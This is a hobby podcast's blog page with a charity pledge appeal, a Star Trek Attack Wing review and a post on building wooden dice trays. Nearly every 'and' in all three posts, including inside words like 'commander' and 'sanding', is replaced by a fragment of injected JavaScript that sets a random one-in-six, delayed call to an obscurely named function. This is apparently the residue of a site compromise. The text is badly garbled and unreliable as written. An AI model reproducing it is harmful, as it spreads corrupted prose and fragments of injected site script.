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Extra Life – How to Pledge to our team (andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and play some games with us)

As we said in Episode 25, we will be taking part in the Extra Life campaign this year at MACE near the new babystrollercenter andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and it is not beneath us to use opportunities like playing Eldritch Horror or game with Stephen Avery (designer of Nothing Personal) to help our contributions. Marty has the page set up, so if you want to reserve a spot at the table for $5 minimum, head over to Extra Life andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and click on the Donate Now link at the top, search for Rolling Dice page, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and then click on the Donate Now button or follow this link. When donating, include your name andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and write a message saying which game you want to play Eldritch Sign (Nov 16th. 9am – 1pm) or Nothing Personal (Nov.16th 2:30-5:30)

If you are interested in being on our team, we would be more than happy to have you join us just go to our page andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and follow the instructions. Marty set a goal that might be a slight challenge being new to the podcast world andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and our first year doing Extra Life. Thanks in advance for your contributions.

In pictures:

Game Review: Star Trek Attack Wing

The (War)bird is on the wing…
By Scott Baughman
Space…The final Frontier – with those now immortal words Capt. James T. Kirk launched a franchise, nay a legend, into the collective pop culture consciousness some 40 years ago. Star Trek isn’t just a TV show or a movie, it’s a part of mankind’s existence now, inspiring everything from cellphones to medical technology.
But there’s one area in which Trek has never excelled – gaming. There are very few good Star Trek video games (a match-up that seems it should be made in heaven) andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and a good Star Trek RPG or board game is even rarer. But thanks to a little help from the mad scientist game designers over at Fantasy Flight Games the masters of models at WizKids/NECA have decided to try andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and change that with their latest offering, Star Trek Attack Wing.
One sci-fi-themed miniatures game has been tearing up the hyperspace lanes this year, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and that is FFG’s Star Wars X-wing. With a great intellectual property license like Star Wars behind it, X-wing would’ve likely sold well on name – andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and starship – recognition alone. But it’s got a great, ruleset going for it. And WizKids knows a great ruleset when they see one. The company that has the license for Star Trek miniatures in their HeroClix line, WizKids decided to license the X-wing FlightPath game engine andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and put capital starships into the system.
The result is a spectacular wargame with a tasteful amount of Star Trek flavor thrown in for good measure. In Star Trek Attack Wing, players pick some iconic Star Trek starships – like the Galaxy-class U.S.S. Enterprise-D andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Nu’Daq’s IKC Vor’Cha Klingon Battlcruiser – andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and then outfit them with a variety of technologies, extra weapons andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and other tactics to try andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and dominate the competition. But the greatest ship in the galaxy is no good without a fine crew andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and captain, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Attack Wing lets you customize the commandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ander (Picard? Kirk? Riker?) andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and crew for your vessel giving you access to even more special abilities or benefits.
If you’ve ever played any outer space-based miniatures game, you know that handom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andling the three-dimensional aspect of the final frontier has always been a problem. Attack Wing takes a “simpler is better” approach to handom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andling this. If two vessels ever end up passing through each other, they are assumed to be above or below the other as necessary. This isn’t to say that a cunning commandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ander (or, perhaps a cold one) can’t send his soldiers on a suicide assault if he wants to, he just has to use a special order to do so.
Attack Wing takes all the great aspects of X-wing – ease of maneuvers with the FlightPath system, quick range checks with the weapons bar andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and specialized 8-sided dice for attack andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and defense – but adds the strategic depth of outfitting your vessel with crew members. A player is faced with a plethora of options when taking actions, but to keep the game from bogging down each player still typically only gets to execute one action per turn. The turn is split up into movement, action andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and then attack phases. On the attack, a player rolls a number of 8-sided dice equal to his ships attack stat, along with any relevant modifiers. To see if he was able to successfully dodge the incoming fire, the defender also rolls 8-sided dice along with relevant modifiers. All the trappings of Star Trek are in play for the game – photon torpedoes, cloaking devices, phasers, disruptors andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and near-omniscient sensors are all options for the canny commandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ander. And several of the various pieces of tech or skilled crew give the veteran wargamer that one thing he knows he needs to find success in the clutch – a timely reroll of the dice.

Give Star Trek Attack Wing a try the next time you crave a fast-paced but strategic sic-fi miniatures combat game. 

The Making of a Dice Tray

I was asked to post some pics of my attempts at making a dice tray, so here they are with some quick comments. But first, why use a dice tray or what good is one? Well, both Marty andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and I use it to pass the dice around the table for games like Elder Signs, King of Tokyo, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Zombie Dice. I use my small hexagon as a way to contain my dice during our RPG sessions. They also keep the dice on the table for those zealous rollers that you might have in your gaming group.

I started off with an octagon, tried the hexagon, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and went back to octagon. An octagon requires a miter cut of 22.5 degrees, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and that is a challenge to find that .5 degrees on the table. That is why I tried the hexagon, but I didn’t like how the dice reacted when they hit the sides. From the picture below, you can see the various sizes andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and heights that I have attempted. I also tried numerous stains andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and I think the Golden Oak has been my favorite so far.

I have tried numerous ways to attach the bottom with rabbet cuts andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and groove cuts. I was using rabbet cuts at first, but when I inherited the Shopsmith Mark V, grooves become very easy to do with a dado blade. The picture below shows the cut, but unfortunately it is hard to see. (Also, when you type in Google rabbit cuts, you get a whole different set of webpages andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and you learn Zombie survival tactics). Now that I got the process down, I will start upgrading the wood so they sides are much nicer andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and will require less sandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anding.

As already stated, the right tools are a key andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the strap clamp that you see below helps me get the pieces in place andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and then I can either glue them with the base board in place, or I will then put a rubber bandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and around the trays to get everything in place, glue (Titebond is the stuff) andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and then air nail the whole project. I use a heavy foam template for marking the thin plywood veneer to cut out for the base (white board marked 1)

The finish product is below, but this did not stain as well as I wanted. I found some Rustoleum Stains marked way down at Lowes andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and while they looked good going on, they didn’t cover very well. Not sure what happened there. The base is covered in a foam piece to help deaden the dice andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and then the fabric so it feels good on your fingers when you pick up the dice. I will use any material to cover the base because when I am at Walmart, I go through the scrap fabrics andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and pick up cheap leftover pieces. Overall, the inside dimension of the tray is 9 inches andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and that seems to be a good working size.

Well, that is about all there is to the making of the dice tray andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and I will say that a table saw really has made a huge difference since I started playing with this. I am going to start on the towers next andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and I promised a friend a Warmachine carrying tray which is going to be done next weekend I hope. I will post pictures of those projects as well.
I hope to have a bunch made by MACE andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and sell them at the show so I can upgrade some equipment for doing the podcast andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and of course pick up a few new games so we can get the reviews out to you guys.
Good luck if you decide to make a tray.